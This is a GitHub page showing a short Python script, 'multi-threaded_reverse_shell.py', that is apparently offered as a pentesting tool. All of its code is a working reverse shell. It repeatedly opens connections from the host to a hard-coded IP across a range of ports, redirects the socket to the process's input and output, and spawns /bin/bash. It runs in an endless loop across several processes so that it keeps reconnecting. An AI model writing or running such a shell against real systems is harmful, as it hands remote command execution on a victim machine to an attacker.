-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmulti-threaded_reverse_shell.py
More file actions
43 lines (35 loc) · 1.06 KB
/
Copy pathmulti-threaded_reverse_shell.py
File metadata and controls
43 lines (35 loc) · 1.06 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
# Author: Scourge
# Licnece: GPLv3
# os.dup2 method comes from PentesterMonkey.com
# This reverse shell will never stop hence "while Trues"
# You will get a connection every "sleep" seconds
# Low port is set to the default 5550
# You will get connections from 5550+(high_port - 1)
ip = ('10.1.1.25')
port_start = 5550
high_port = 7
sleeper = 2
import socket,pty,os,sys,re,time
from multiprocessing import Process
if sys.version_info.major == 2:
import thread
else:
import threading
while True:
def start_reverse_shell(ip, port) :
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))
# the os.dup2 method comes from pentestermonkey
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)
# be sure to use pty (not subprocess from pentestermonkey)
x=pty.spawn("/bin/bash")
except:
pass
thread_ids = []
for i in range(0, high_port) :
time.sleep(sleeper)
new_thread = Process(target=start_reverse_shell, args= (ip, (port_start+i)))
new_thread.start()
thread_ids.append(new_thread)